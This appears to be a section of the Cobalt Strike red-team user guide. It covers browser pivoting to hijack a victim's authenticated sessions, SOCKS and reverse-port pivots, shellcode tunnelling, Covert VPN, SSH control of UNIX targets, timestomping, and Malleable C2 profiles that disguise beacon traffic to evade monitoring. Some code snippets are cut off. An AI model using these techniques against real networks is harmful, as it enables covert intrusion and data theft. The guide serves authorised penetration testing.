User Guide - Part 2

Browser Pivoting.

Malware like Zeus and its variants inject themselves into a user’s browser to steal banking information. This is a man-in-the-browser attack. So-called, because the attacker is injecting malware into the target’s browser.

Overview Browser Pivoting

Man-in-the-browser malware uses two approaches to steal banking information. They either capture form data as it’s sent to a server. For example, malware might hook PR_Write in Firefox to intercept HTTP POST data sent by Firefox. Or, they inject JavaScript onto certain webpages to make the user think the site is requesting information that the attacker needs.

Cobalt Strike offers a third approach for man-in-the-browser attacks. It lets the attacker hijack authenticated web sessions—all of them. Once a user logs onto a site, an attacker may ask the user’s browser to make requests on their behalf. Since the user’s browser is making the request, it will [automatically re-authenticate ]to any site the user is already logged onto. I call this a browser pivot—because the attacker is pivoting their browser through the compromised user’s browser.

Cobalt Strike’s [implementation of browser pivoting for Internet Explorer ] injects an HTTP proxy server into the compromised user’s browser. Do not confuse this with changing the user’s proxy settings. This proxy server does not affect how the user gets to a site. Rather, this proxy server is available to the attacker. All requests that come through it are fulfilled by the user’s browser.


To setup Browser pivoting, go to [beacon]ExploreBrowser Pivot . Choose the Internet Explorer instance that you want to inject into. You may also decide which port to bind the browser pivoting proxy server to as well.


Beware that the process you inject into matters a great deal. Inject into Internet Explorer to inherit a user’s authenticated web sessions. Modern versions of Internet Explorer spawn each tab in its own process. If your target uses a modern version of Internet Explorer, you must inject a process associated with an open tab to inherit session state. Which tab process doesn’t matter (child tabs share session state).

Identify Internet Explorer tab processes by looking at the PPID value in the Browser Pivoting setup dialog. If the PPID references explorer.exe , the process is not associated with a tab. If the PPID references iexplore.exe , the process is associated with a tab. Cobalt Strike will show a checkmark next to the processes it thinks you should inject into.

Once Browser Pivoting is setup, set up your web browser to use the Browser Pivot Proxy server. Remember, Cobalt Strike’s Browser Pivot server is an HTTP proxy server.



You may browse the web as your target user once browser pivoting is started. Beware that the browser pivoting proxy server will present its SSL certificate for SSL-enabled websites you visit. This is necessary for the technology to work.

The browser pivoting proxy server will ask you to add a host to your browser’s trust store when it detects an SSL error. Add these hosts to the trust store and press refresh to make SSL protected sites load properly.

If your browser pins the certificate of a target site, you may find its impossible to get your browser to accept the browser pivoting proxy server’s SSL certificate. This is a pain. One option is to use a different browser. The open source Chromium browser has a command-line option to ignore all certificate errors. This is ideal for browser pivoting use:

chromium --ignore-certificate-errors --proxy-server=[host]:[port]

The above command is available from ViewProxy Pivots . Highlight the Browser Pivot HTTP Proxy entry and press Tunnel .

To stop the Browser Pivot proxy server, type browserpivot stop in its Beacon console.

You will need to reinject the browser pivot proxy server if the user closes the tab you’re working from. The Browser Pivot tab will warn you when it can’t connect to the browser pivot proxy server in the browser.


OpenJDK 11 has a TLS implementation bug that causes ERR_SSL_PROTOCOL_ERROR (Chrome/Chromium) and SSL_ERROR_RX_RECORD_TOO_LONG (Firefox) when interacting with https:// sites. If you encounter these errors–downgrade your team server to Oracle Java 1.8 or OpenJDK 10.

How Browser Pivoting Works

Internet Explorer delegates all of its communication to a library called WinINet. This library, which any program may use, manages cookies, SSL sessions, and server authentication for its consumers. Cobalt Strike’s Browser Pivoting takes advantage of the fact that WinINet transparently manages authentication and reauthentication on a per process basis.

By injecting Cobalt Strike’s Browser Pivoting technology into a user’s Internet Explorer instance, you get this transparent reauthentication for free.


What is Pivoting

Pivoting, for the sake of this manual, is turning a compromised system into a hop point for other attacks and tools. Cobalt Strike’s Beacon provides several pivoting options. For each of these options, you will want to make sure your Beacon is in interactive mode. Interactive mode is when a Beacon checks in multiple times each second. Use the sleep 0 command to put your Beacon into interactive mode.


Go to [beacon]PivotingSOCKS Server to setup a SOCKS4a proxy server on your team server. Or, use socks 8080 to setup a SOCKS4a proxy server on port 8080 (or any other port you choose).

All connections that go through these SOCKS servers turn into connect, read, write, and close tasks for the associated Beacon to execute. You may tunnel via SOCKS through any type of Beacon (even an SMB Beacon).

Beacon’s HTTP data channel is the most responsive for pivoting purposes. If you’d like to pivot traffic over DNS, use the DNS TXT record communication mode.

To see the SOCKS servers that are currently setup, go to ViewProxy Pivots .

Use socks stop to disable the SOCKS proxy server.


The proxychains tool will force an external program to use a SOCKS proxy server that you designate. You may use proxychains to force third-party tools through Cobalt Strike’s SOCKS server. To learn more about proxychains, visit:


You may also tunnel Metasploit Framework exploits and modules through Beacon. Create a Beacon SOCKS proxy server [as described above] and paste the following into your Metasploit Framework console:

setg Proxies socks4:team server IP:proxy port

setg ReverseAllowProxy true

These commands will instruct the Metasploit Framework to apply your Proxies option to all modules executed from this point forward. Once you’re done pivoting through Beacon in this way, use unsetg Proxies to stop this behavior.

If you find the above tough to remember, go to ViewProxy Pivots . Highlight the proxy pivot you setup and press Tunnel . This button will provide the setg Proxies syntax needed to tunnel the Metasploit Framework through your Beacon.

Reverse Port Forward

The following commands are available:


Type help in the Beacon console to see available commands. Type help followed by a command name to see detailed help.

rportfwd - Use this command to setup a reverse pivot through Beacon. The rportfwd command will bind a port on the compromised target. Any connections to this port will cause your Cobalt Strike server to initiate a connection to another host and port and relay traffic between these two connections. Cobalt Strike tunnels this traffic through Beacon.

The syntax for rportfwd is: rportfwd [bind port] [forward host] [forward port] .

rportfwd_local - Use this command to setup a reverse pivot through Beacon with one variation. This feature initiates a connection to the forward host/port from your Cobalt Strike client. The forwarded traffic is communicated through the connection your Cobalt Strike client has to its team server.

rportfwd stop [bind port] - Use to disable the reverse port forward.

Spawn and Tunnel

Use the spunnel command to spawn a third-party tool in a temporary process and create a reverse port forward for it. The syntax is spunnel [x86 or x64] [controller host] [controller port] [/path/to/agent.bin] . This command expects that the agent file is position-independent shellcode (usually the raw output from another offense platform). The spunnel_local command is the same as spunnel, except it initiates the controller connection from your Cobalt Strike client. The spunnel_local traffic is communicated through the connection your Cobalt Strike client has to its team server.

Agent Deployed: Interoperability with Core Impact

The spunnel commands were designed specifically to tunnel Core Impact’s agent through Cobalt Strike’s Beacon.

To export a raw agent file from Core Impact:

  1. Click the Modules tab in the Core Impact user interface
  2. Search for Package and Register Agent
  3. Double-click this module
  4. Change Platform to Windows
  5. Change Architecture to x86-64
  6. Change Binary Type to raw
  7. Click Target File and press to decide where to save the output.
  8. Go to Advanced
  9. Change Encrypt Code to false
  10. Go to Agent Connection
  11. Change Connection Method to Connect from Target
  12. Change Connect Back Hostname to
  13. Change Port to some value (e.g., 9000) and remember it.
  14. Press OK .

The above will generate a Core Impact agent as a raw file. You may use spunnel x64 or spunnel_local x64 to run this agent and tunnel it back to Core Impact.

We often use Cobalt Strike on an internet reachable infrastructure and Core Impact is often on a local Windows virtual machine. It’s for this reason we have spunnel_local. We recommend that you run a Cobalt Strike client from the same Windows system that Core Impact is installed onto.

In this setup, you can run spunnel_local x64 9000 c:\path\to\agent.bin . Once the connection is made, you will hear the famous “Agent Deployed” wav file.

With an Impact agent on target, you have tools to escalate privileges, scan and information gather via many modules, launch remote exploits, and chain other Impact agents through your Beacon connection.

Pivot Listeners

It’s good tradecraft to limit the number of direct connections from your target’s network to your command and control infrastructure. A pivot listener allows you to create a listener that is bound to a Beacon or SSH session. In this way, you can create new reverse sessions without more direct connections to your command and control infrastructure.

To setup a pivot listener, go to [beacon]PivotingListener… . This will open a dialog where you may define a new pivot listener.


A pivot listener will bind to Listen Port on the specified Session. The Listen Host value configures the address your reverse TCP payload will use to connect to this listener.

Right now, the only payload option is windows/beacon_reverse_tcp. This is a listener without a stager. This means you can’t embed this payload into commands and automation that expect stagers. You do have the option to export a stageless payload artifact and run it to deliver a reverse TCP payload.

Pivot Listeners do not change the pivot host’s firewall configuration. If a pivot host has a host- based firewall, this may interfere with your listener. You, the operator, are responsible for anticipating this situation and taking the right steps for it.

To remove a pivot listener, go to Cobalt StrikeListeners and remove the listener there. Cobalt Strike will send a task to tear down the listening socket, if the session is still reachable.

Covert VPN

VPN pivoting is a flexible way to tunnel traffic without the limitations of a proxy pivot. Cobalt Strike offers VPN pivoting through its Covert VPN feature. Covert VPN creates a network interface on the Cobalt Strike system and bridges this interface into the target’s network.

How to Deploy

To activate Covert VPN, right-click a compromised host, go to [beacon]PivotingDeploy VPN . Select the remote interface you would like Covert VPN to bind to. If no local interface is present, press Add to create one.


Check Clone host MAC address to make your local interface have the same MAC address as the remote interface. It’s safest to leave this option checked.

Press Deploy to start the Covert VPN client on the target. Covert VPN requires Administrator access to deploy.

Once a Covert VPN interface is active, you may use it like any physical interface on your system. Use ifconfig to configure its IP address. If your target network has a DHCP server, you may request an IP address from it using your operating systems built-in tools.

Manage Interfaces

To manage your Covert VPN interfaces, go to Cobalt StrikeVPN Interfaces . Here, Cobalt Strike will show the Covert VPN interfaces, how they’re configured, and how many bytes were transmitted and received through each interface.

Highlight an interface and press Remove to destroy the interface and close the remote Covert VPN client. Covert VPN will remove its temporary files on reboot and it automatically undoes any system changes right away.

Press Add to configure a new Covert VPN interface.


Configure an Interface

Covert VPN interfaces consist of a network tap and a channel to communicate ethernet frames through. To configure the interface, choose an Interface name (this is what you will manipulate through ifconfig later) and a MAC address.

You must also configure the Covert VPN communication channel for your interface. Covert VPN may communicate Ethernet frames over a UDP connection, TCP connection, ICMP, or using the HTTP protocol. The TCP (Reverse) channel has the target connect to your Cobalt Strike instance. The TCP (Bind) channel has Cobalt Strike tunnel the VPN through Beacon.

Cobalt Strike will setup and manage communication with the Covert VPN client based on the Local Port and Channel you select.

The Covert VPN HTTP channel makes use of the Cobalt Strike web server. You may host other Cobalt Strike web applications and multiple Covert VPN HTTP channels on the same port.

For best performance, use the UDP channel. The UDP channel has the least amount of overhead compared to the TCP and HTTP channels. Use the ICMP, HTTP, or TCP (Bind) channels if you need to get past a restrictive firewall.

While Covert VPN has a flexibility advantage, your use of a VPN pivot over a proxy pivot will depend on the situation. Covert VPN requires Administrator access. A proxy pivot does not. Covert VPN creates a new communication channel. A proxy pivot does not. You should use a proxy pivot initially and move to a VPN pivot when it’s needed.

SSH Sessions

The SSH Client

Cobalt Strike controls UNIX targets with a built-in SSH client. This SSH client receives tasks from and routes its output through a parent Beacon.

Right-click a target and go to Login → ssh to authenticate with a username and password. Go to Login → ssh (key) to authenticate with a key.

From a Beacon console, use ssh [pid] [arch] [target] [user] [password] to inject into the specified process to run an SSH client and attempt to login to the specified target. Use ssh [target] [user] [password] (without [pid] and [arch] arguments) to spawn a temporary process to run an SSH client and attempt to login to the specified target.

You may also use ssh-key [pid] [arch] [target:port] [user] [/path/to/key.pem] to inject into the specified process to run an SSH client and attempt to login to the specified target. Use ssh-key [target:port] [user] [/path/to/key.pem] (without [pid] and [arch] arguments) to spawn a temporary process to run an SSH client and attempt to login to the specified target.


The key file needs to be in the PEM format. If the file is not in the PEM format then make a copy of the file and convert the copy with the following command: /usr/bin/ssh-keygen -f [/path/to/copy] -e -m pem -p.

These commands run Cobalt Strike’s SSH client. The client will report any connection or authentication issues to the parent Beacon. If the connection succeeds, you will see a new session in Cobalt Strike’s display. This is an SSH session. Right-click on this session and press Interact to open the SSH console.

Type help to see a list of commands the SSH session supports. Type help followed by a command name for details on that command.

Running Commands

The shell command will run the command and arguments you provide. Running commands block the SSH session for up to 20s before Cobalt Strike puts the command in the background. Cobalt Strike will report output from these long running commands as it becomes available.

Use sudo [password] [command + arguments] to attempt to run a command via sudo. This alias requires the target’s sudo to accept the –S flag.

The cd command will change the current working directory for the SSH session. The pwd command reports the current working directory.

Upload and Download Files

The following commands are available:


Type help in the Beacon console to see available commands. Type help followed by a command name to see detailed help.

download - This command downloads the requested file. You do not need to provide quotes around a filename with spaces in it. Beacon is built for low and slow exfiltration of data. During each check-in, Beacon will download a fixed chunk of each file its tasked to get. The size of this chunk depends on Beacon’s current data channel. The HTTP and HTTPS channels pull data in 512KB chunks.

downloads - Use to see a list of file downloads in progress for the current Beacon.

cancel - Issue this command, followed by a filename, to cancel a download that’s in progress. You may use wildcards with your cancel command to cancel multiple file downloads at once.

upload - This command uploads a file to the host.

timestomp - When you upload a file, you will sometimes want to update its timestamps to make it blend in with other files in the same folder. This command will do this. The timestomp command matches the Modified, Accessed, and Created times of one file to another file.

Go to ViewDownloads in Cobalt Strike to see the files that your team has downloaded so far. Only completed downloads show up in this tab.

Downloaded files are stored on the team server. To bring files back to your system, highlight them here, and press Sync Files . Cobalt Strike then downloads the selected files to a folder of your choosing on your system.

Peer-to-peer C2

SSH sessions can control TCP Beacons. Use the connect command to assume control of a TCP Beacon waiting for a connection. Use unlink to disconnect a TCP Beacon session.

Go to [session]ListenersPivot Listener… to setup a pivot listener tied to this SSH session. This will allow this compromised UNIX target to receive reverse TCP Beacon sessions. This option does require that the SSH daemon’s GatewayPorts option is set to yes or ClientSpecified.

SOCKS Pivoting and Reverse Port Forwards

The following commands are available:


Type help in the Beacon console to see available commands. Type help followed by a command name to see detailed help.

socks - Use this command to create a SOCKS server on your team server that forwards traffic through the SSH session. The rportfwd command will also create a reverse port forward that routes traffic through the SSH session and your Beacon chain.

There is one caveat to rportfwd: the rportfwd command asks the SSH daemon to bind to all interfaces. It’s quite likely the SSH daemon will override this and force the port to bind to localhost. You need to change the GatewayPorts option for the SSH daemon to yes or clientspecified.

Malleable Command and Control

Overview Malleable Command and Control

Beacon’s HTTP indicators are controlled by a Malleable Command and Control (Malleable C2) profile. A Malleable C2 profile is a simple program that specifies how to transform data and store it in a transaction. The same profile that transforms and stores data, interpreted backwards, also extracts and recovers data from a transaction.

To use a custom profile, you must start a Cobalt Strike team server and specify your profile at that time.

./teamserver [external IP] [password] [/path/to/my.profile]

You may only load one profile per Cobalt Strike instance.

Viewing the Loaded Profile

To view the C2 profile that was loaded when the TeamServer was started select Help \ Malleable C2 Profile on the menu. This displays the profile for the currently selected TeamServer when multiple TeamServers are connected. The dialog is read-only.

To close the dialog use the ‘x’ in the upper right corner of the dialog.


This section covers the Malleable C2 features related to flexible network communications. See Malleable PE, Process Injection, and Post Exploitation for information on Malleable C2’s stage, process-inject, and post-ex blocks.

Checking for Errors

Cobalt Strike’s Linux package includes a c2lint program. This program will check the syntax of a communication profile, apply a few extra checks, and even unit test your profile with random data. It’s highly recommended that you check your profiles with this tool before you load them into Cobalt Strike.

./c2lint [/path/to/my.profile]

c2lint returns and logs the following result codes for the specified profile file:

  • A result of 0 is returned if c2lint completes with no errors
  • A result of 1 is returned if c2lint completes with only warnings
  • A result of 2 is returned if c2lint completes with only errors
  • A result of 3 is returned if c2lint completes with both errors and warnings.

The last lines of the c2lint output display a count of detected errors and warnings. No message is displayed if none are found. There can be more error messages displayed in the output than the count represents because a single error may produce more than 1 error message. This is the same possibility for warnings however less likely. For example:

  • [!] Detected 1 warning.
  • [-] Detected 3 errors.

Profile Language

The best way to create a profile is to modify an existing one. Several example profiles are available on Github:

When you open a profile, here is what you will see:

# this is a comment
set global_option "value";

protocol-transaction {
     set local_option "value";

     client {
          # customize client indicators

     server {
          # customize server indicators

Comments begin with a # and go until the end of the line. The set statement is a way to assign a value to an option. Profiles use { curly braces } to group statements and information together. Statements always end with a semi-colon.

To help all of this make sense, here’s a partial profile:

http-get {
        set uri "/foobar"; 
        client {
               metadata {
                       prepend "user=";
                       header "Cookie";

This partial profile defines indicators for an HTTP GET transaction. The first statement, set uri, assigns the URI that the client and server will reference during this transaction. This set statement occurs outside of the client and server code blocks because it applies to both of them.

The client block defines indicators for the client that performs an HTTP GET. The client, in this case, is Cobalt Strike’s Beacon payload.

When Cobalt Strike’s Beacon “phones home” it sends metadata about itself to Cobalt Strike. In this profile, we have to define how this metadata is encoded and sent with our HTTP GET request.

The metadata keyword followed by a group of statements specifies how to transform and embed metadata into our HTTP GET request. The group of statements, following the metadata keyword, is called a data transform.

Step Action Data
0. Start metadata
1. base64 Base64 Encode bWV0YWRhdGE=
2. prepend “user=” Prepend String user=bWV0YWRhdGE=
3. header “Cookie” Store in Transaction

The first statement in our data transform states that we will base64 encode our metadata [1] . The second statement, prepend, takes our encoded metadata and prepends the string user= to it [2] . Now our transformed metadata is “user=“ . base64(metadata). The third statement states we will store our transformed metadata into a client HTTP header called Cookie [3] . That’s it.

Both Beacon and its server consume profiles. Here, we’ve read the profile from the perspective of the Beacon client. The Beacon server will take this same information and interpret it backwards. Let’s say our Cobalt Strike web server receives a GET request to the URI /foobar. Now, it wants to extract metadata from the transaction.

Step Action Data
0. Start

  1. header “Cookie” Recover from Transaction user=bWV0YWRhdGE=
  2. prepend “user=” Remove first 5 characters bWV0YWRhdGE=
  3. base64 Base64 Decode metadata

The header statement will tell our server where to recover our transformed metadata from [1] . The HTTP server takes care to parse headers from the HTTP client for us. Next, we need to deal with the prepend statement. To recover transformed data, we interpret prepend as remove the first X characters [2] , where X is the length of the original string we prepended. Now, all that’s left is to interpret the last statement, base64. We used a base64 encode function to transform the metadata before. Now, we use a base64 decode to recover the metadata [3] .

We will have the original metadata once the profile interpreter finishes executing each of these inverse statements.

Data Transform Language

A data transform is a sequence of statements that transform and transmit data. The data transform statements are:

Statement Action Inverse
append “string” Append “string” Remove last LEN(“string”) characters
base64 Base64 Encode Base64 Decode
base64url URL-safe Base64 Encode URL-safe Base64 Decode
mask XOR mask w/ random key XOR mask w/ same random key
netbios NetBIOS Encode ‘a’ NetBIOS Decode ‘a’
netbiosu NetBIOS Encode ‘A’ NetBIOS Decode ‘A’
prepend “string” Prepend “string” Remove first LEN(“string”) characters

A data transform is a combination of any number of these statements, in any order. For example, you may choose to netbios encode the data to transmit, prepend some information, and then base64 encode the whole package.

A data transform always ends with a termination statement. You may only use one termination statement in a transform. This statement tells Beacon and its server where in the transaction to store the transformed data.

There are four termination statements.

Statement What
header “header” Store data in an HTTP header
parameter “key” Store data in a URI parameter
print Send data as transaction body
uri-append Append to URI

The header termination statement stores transformed data in an HTTP header. The parameter termination statement stores transformed data in an HTTP parameter. This parameter is always sent as part of URI. The print statement sends transformed data in the body of the transaction.

The print statement is the expected termination statement for the http-get.server.output, http- post.server.output, and http-stager.server.output blocks. You may use the header, parameter, print and uri-append termination statements for the other blocks.

If you use a header, parameter, or uri-append termination statement on http-post.client.output, Beacon will chunk its responses to a reasonable length to fit into this part of the transaction.

These blocks and the data they send are described in a later section.


Beacon’s Profile Language allows you to use “strings” in several places. In general, strings are interpreted as-is. However, there are a few special values that you may use in a string:

Value Special Value
“\n” Newline character
“\r” Carriage Return
“\t” Tab character
“\u####” A unicode character
“\x##” A byte (e.g., \x41 = ‘A’)
“\” |

Headers and Parameters

Data transforms are an important part of the indicator customization process. They allow you to dress up data that Beacon must send or receive with each transaction. You may add extraneous indicators to each transaction too.

In an HTTP GET or POST request, these extraneous indicators come in the form of headers or parameters. Use the parameter statement within the client block to add an arbitrary parameter to an HTTP GET or POST transaction.

This code will force Beacon to add ?bar=blah to the /foobar URI when it makes a request

http-get {
     client {
          parameter "bar" "blah";

Use the header statement within the client or server blocks to add an arbitrary HTTP header to the client’s request or server’s response. This header statement adds an indicator to put network security monitoring teams at ease.

http-get {
     server {
         header "X-Not-Malware" "I promise!";

The Profile Interpreter will Interpret your header and parameter statements In order. That said, the WinINet library (client) and Cobalt Strike web server have the final say about where in the transaction these indicators will appear.


You may configure Beacon’s defaults through the profile file. There are two types of options: global and local options. The global options change a global Beacon setting. Local options are transaction specific. You must set local options in the right context. Use the set statement to set an option.

set “sleeptime” “1000”;

Here are a few options:

Option Context Default Value Changes
data_jitter 0 Append random-length string (up to data_jitter value) to http-get and http-post server output.
headers_remove Comma-separated list of HTTP client headers to remove from Beacon C2
host_stage true Host payload for staging over HTTP, HTTPS, or DNS. Required by stagers.
jitter 0 Default jitter factor (0-99%)
pipename msagent_## Default name of pipe to use for SMB Beacon’s peer-to- peer communication. Each # is replaced with a random hex value.
pipename_stager status_## Name of pipe to use for SMB Beacon’s named pipe stager. Each # is replaced with a random hex value.
sample_name My Profile The name of this profile (used in the Indicators of Compromise report)
sleeptime 60000 Default sleep time (in milliseconds)
smb_frame_header Prepend header to SMB Beacon messages
ssh_banner Cobalt Strike 4.2 SSH client banner
ssh_pipename postex_ssh_#### Name of pipe for SSH sessions. Each # is replaced with a random hex value.
tcp_frame_header Prepend header to TCP Beacon messages
tcp_port 4444 Default TCP Beacon listen port
uri http-get,
http-post [required option] Transaction URI
uri_x86 http-stager x86 payload stage URI
uri_x64 http-stager x64 payload stage URI
useragent Internet Explorer (Random) Default User-Agent for HTTP comms.
verb http-get,
http-post GET, POST HTTP Verb to use for transaction

With the uri option, you may specify multiple URIs as a space separated string. Cobalt Strike’s web server will bind all of these URIs and it will assign one of these URIs to each Beacon host when the Beacon stage is built.

Even though the useragent option exists; you may use the header statement to override this option.

HTTP Staging

Beacon is a staged payload. This means the payload is downloaded by a stager and injected into memory. Your http-get and http-post indicators will not take effect until Beacon is in memory on your target. Malleable C2’s http-stager block customizes the HTTP staging process.

     set uri_x86 "/get32.gif"; 
     set uri_x64 "/get64.gif";

The uri_x86 option sets the URI to download the x86 payload stage. The uri_x64 option sets the URI to download the x64 payload stage.

client {
     parameter "id" "1234"; 
     header "Cookie" "SomeValue";

The client keyword under the context of http-stager defines the client side of the HTTP transaction. Use the parameter keyword to add a parameter to the URI. Use the header keyword to add a header to the stager’s HTTP GET request.

server {
     header "Content-Type" "image/gif"; 
     output {
          prepend "GIF89a"; 

The server keyword under the context of http-stager defines the server side of the HTTP transaction. The header keyword adds a server header to the server’s response. The output keyword under the server context of http-stager is a data transform to change the payload stage. This transform may only prepend and append strings to the stage. Use the print termination statement to close this output block.

A Beacon HTTP Transaction Walk-through

To put all of this together, it helps to know what a Beacon transaction looks like and which data is sent with each request.

A transaction starts when a Beacon makes an HTTP GET request to Cobalt Strike’s web server. At this time, Beacon must send metadata that contains information about the compromised system.


Session metadata is an encrypted blob of data. Without encoding, it is not suitable for transport in a header or URI parameter. Always apply a base64, base64url, or netbios statement to encode your metadata.

Cobalt Strike’s web server responds to this HTTP GET with tasks that the Beacon must execute. These tasks are, initially, sent as one encrypted binary blob. You may transform this information with the output keyword under the server context of http-get.

As Beacon executes its tasks, it accumulates output. After all tasks are complete, Beacon checks if there is output to send. If there is no output, Beacon goes to sleep. If there is output, Beacon initiates an HTTP POST transaction.

The HTTP POST request must contain a session id in a URI parameter or header. Cobalt Strike uses this information to associate the output with the right session. The posted content is, initially, an encrypted binary blob. You may transform this information with the output keyword under the client context of http-post.

Cobalt Strike’s web server may respond to an HTTP POST with anything it likes. Beacon does not consume or use this information. You may specify the output of HTTP POST with the output block under the server context of http-post.


While http-get uses GET by default and http-post uses POST by default, you’re not stuck with these options. Use the verb option to change these defaults. There’s a lot of flexibility here.

This table summarizes these keywords and the data they send:

Request Component Block Data
http-get client metadata Session metadata
http-get server output Beacon’s tasks
http-post client id Session ID
http-post client output Beacon’s responses
http-post server output Empty
http-stager server output Encoded payload stage

HTTP Server Configuration

The http-config block has influence over all HTTP responses served by Cobalt Strike’s web server. Here, you may specify additional HTTP headers and the HTTP header order.

http-config {
     set headers "Date, Server, Content-Length, Keep-Alive, 
                    Connection, Content-Type"; 
     header "Server" "Apache";
     header "Keep-Alive" "timeout=5, max=100";    
     header "Connection" "Keep-Alive”;
     set trust_x_forwarded_for "true";
     set block_useragents "curl*,lynx*,wget*";

set headers - This option specifies the order these HTTP headers are delivered in an HTTP response. Any headers not in this list are added to the end.

header - This keyword adds a header value to each of Cobalt Strike’s HTTP responses. If the header value is already defined in a response, this value is ignored.

set trust_x_forwarded_for - This option decides if Cobalt Strike uses the X-Forwarded-For HTTP header to determine the remote address of a request. Use this option if your Cobalt Strike server is behind an HTTP redirector.

block_useragents and allow_useragents - These options configure a list of user agents that are blocked or allowed with a 404 response. By default, requests from user agents that start with curl, lynx, or wget are all blocked. If both are specified, block_useragents will take precedence over allow_useragents . The option value supports a string of comma separated values. Values support simple generics:

Example Description
not specified Use the default value (curl*,lynx*,wget*). Block requests from user agents starting with curl, lynx, or wget.
blank (block_useragents) No user agents are blocked.
blank (allow user_agents) All user agents are allowed.
something Block/Allow requests with useragent equal ‘something’.
something* Block/Allow requests with useragent starting with ‘something’.
*something Block/Allow requests with useragent ending with ‘something’.
something Block/Allow requests with useragent containing ‘something’.

Self-signed SSL Certificates with SSL Beacon

The HTTPS Beacon uses the HTTP Beacon’s indicators in its communication. Malleable C2 profiles may also specify parameters for the Beacon C2 server’s self-signed SSL certificate. This is useful if you want to replicate an actor with unique indicators in their SSL certificate:

https-certificate {
     set CN   "";
     set O    "Bob’s Malware";

The certificate parameters under your profile’s control are:

Option Example Description
C US Country
CN Common Name; Your callback domain
L Washington Locality
O Help/Systems LLC Organization Name
OU Certificate Department Organizational Unit Name
ST DC State or Province
validity 365 Number of days certificate is valid for

Valid SSL Certificates with SSL Beacon

You have the option to use a Valid SSL certificate with Beacon. Use a Malleable C2 profile to specify a Java Keystore file and a password for the keystore. This keystore must contain your certificate’s private key, the root certificate, any intermediate certificates, and the domain certificate provided by your SSL certificate vendor. Cobalt Strike expects to find the Java Keystore file in the same folder as your Malleable C2 profile.

https-certificate {
set keystore "";
set password "mypassword";

The parameters to use a valid SSL certificate are:

Option Example Description
keystore Java Keystore file with certificate information
password mypassword The password to your Java Keystore

Here are the steps to create a Valid SSL certificate for use with Cobalt Strike’s Beacon:

  1. Use the keytool program to create a Java Keystore file. This program will ask “What is your first and last name?” Make sure you answer with the fully qualified domain name to your Beacon server. Also, make sure you take note of the keystore password. You will need it later.$ keytool -genkey -keyalg RSA -keysize 2048 -keystore
  2. Use keytool to generate a Certificate Signing Request (CSR). You will submit this file to your SSL certificate vendor. They will verify that you are who you are and issue a certificate. Some vendors are easier and cheaper to deal with than others.$ keytool -certreq -keyalg RSA -file domain.csr -keystore
  3. Import the Root and any Intermediate Certificates that your SSL vendor provides.$ keytool -import -trustcacerts -alias FILE -file FILE.crt -keystore
  4. Finally, you must install your Domain Certificate.$ keytool -import -trustcacerts -alias mykey -file domain.crt -keystore

And, that’s it. You now have a Java Keystore file that’s ready to use with Cobalt Strike’s Beacon.

##Profile Variants

Malleable C2 profile files, by default, contain one profile. It’s possible to pack variations of the current profile by specifying variant blocks for http-get, http-post, http-stager, and https- certificate.

A variant block is specified as [block name] “variant name” { … }. Here’s a variant http-get block named “My Variant”:

http-get "My Variant" { 
    client {
        parameter "bar" "blah";

A variant block creates a copy of the current profile with the specified variant blocks replacing the default blocks in the profile itself. Each unique variant name creates a new variant profile. You may populate a profile with as many variant names as you like.

Variants are selectable when configuring an HTTP or HTTPS Beacon listener. Variants allow each HTTP or HTTPS Beacon listener tied to a single team server to have network IOCs that differ from each other.

Code Signing Certificate

Attacks → PackagesWindows Executable and Windows Executable (S) give you the option to sign an executable or DLL file. To use this option, you must specify a Java Keystore file with your code signing certificate and private key. Cobalt Strike expects to find the Java Keystore file in the same folder as your Malleable C2 profile.

code-signer {
set keystore "keystore.jks"; set password "password";
set alias "server";

The code signing certificate settings are:

Option Example Description
alias server The keystore’s alias for this certificate
digest_algorithm SHA256 The digest algorithm
keystore keystore.jks Java Keystore file with certificate information
password mypassword The password to your Java Keystore
timestamp false Timestamp the file using a third-party service
timestamp_url URL of the timestamp service

DNS Beacons

You have the option to shape the DNS Beacon/Listener network traffic with Malleable C2.

dns-beacon “optional-variant-name” {
    # Options moved into 'dns-beacon' group in 4.3: 
    set dns_idle              "";
    set dns_max_txt           "199";
    set dns_sleep             "1";
    set dns_ttl               "5";
    set maxdns                "200";
    set dns_stager_prepend    "doc-stg-prepend"; 
    set dns_stager_subhost    "doc-stg-sh.";

    # DNS subhost override options added in 4.3: 
    set beacon                "doc.bc.";
    set get_A                 "doc.1a.";
    set get_AAAA              "doc.4a.";
    set get_TXT               "doc.tx.";
    set put_metadata          "";
    set put_output            "doc.po.";
    set ns_response           "zero";

The settings are:

Option Default Value Changes
dns_idle IP address used to indicate no tasks are available to DNS Beacon; Mask for other DNS C2 values
dns_max_txt 252 Maximum length of DNS TXT responses for tasks
dns_sleep 0 Force a sleep prior to each individual DNS request. (in milliseconds)
dns_stager_prepend Prepend text to payload stage delivered to DNS TXT record stager
dns_stager_subhost .stage.123456. Subdomain used by DNS TXT record stager.
dns_ttl 1 TTL for DNS replies
maxdns 255 Maximum length of hostname when uploading data over DNS (0-255)
beacon DNS subhost prefix used for beaconing requests. (lowercase text)
get_A cdn. DNS subhost prefix used for A record requests (lowercase text)
get_AAAA www6. DNS subhost prefix used for AAAA record requests (lowercase text)
get_TXT api. DNS subhost prefix used for TXT record requests (lowercase text)
put_metadata www. DNS subhost prefix used for metadata requests (lowercase text)
put_output post. DNS subhost prefix used for output requests (lowercase text)
ns_response drop How to process NS Record requests. “drop” does not respond to the request (default), “idle” responds with A record for IP address from “dns_idle”, “zero” responds with A record for

You can use “ns_response” when a DNS server is responding to a target with “Server failure” errors. A public DNS Resolver may be initiating NS record requests that the DNS Server in Cobalt Strike Team Server is dropping by default.


{target} {DNS Resolver} Standard query 0x5e06 A {DNS Resolver} {target} Standard query response 0x5e06 Server failure A


Exercising Caution with Malleable C2

Malleable C2 gives you a new level of control over your network and host indicators. With this power also comes responsibility. Malleable C2 is an opportunity to make a lot of mistakes too. Here are a few things to think about when you customize your profiles:

  • Each Cobalt Strike instance uses one profile at a time. If you change a profile or load a new profile, previously deployed Beacons cannot communicate with you.
  • Always stay aware of the state of your data and what a protocol will allow when you develop a data transform. For example, if you base64 encode metadata and store it in a URI parameter— it’s not going to work. Why? Some base64 characters (+, =, and /) have special meaning in a URL. The c2lint tool and Profile Compiler will not detect these types of problems.
  • Always test your profiles, even after small changes. If Beacon can’t communicate with you, it’s probably an issue with your profile. Edit it and try again.
  • Trust the c2lint tool. This tool goes above and beyond the profile compiler. The checks are grounded in how this technology is implemented. If a c2lint check fails, it means there is a real problem with your profile.

Malleable PE, Process Injection, and Post Exploitation

Overview Malleable PE, Process Injection, and Post Exploitation

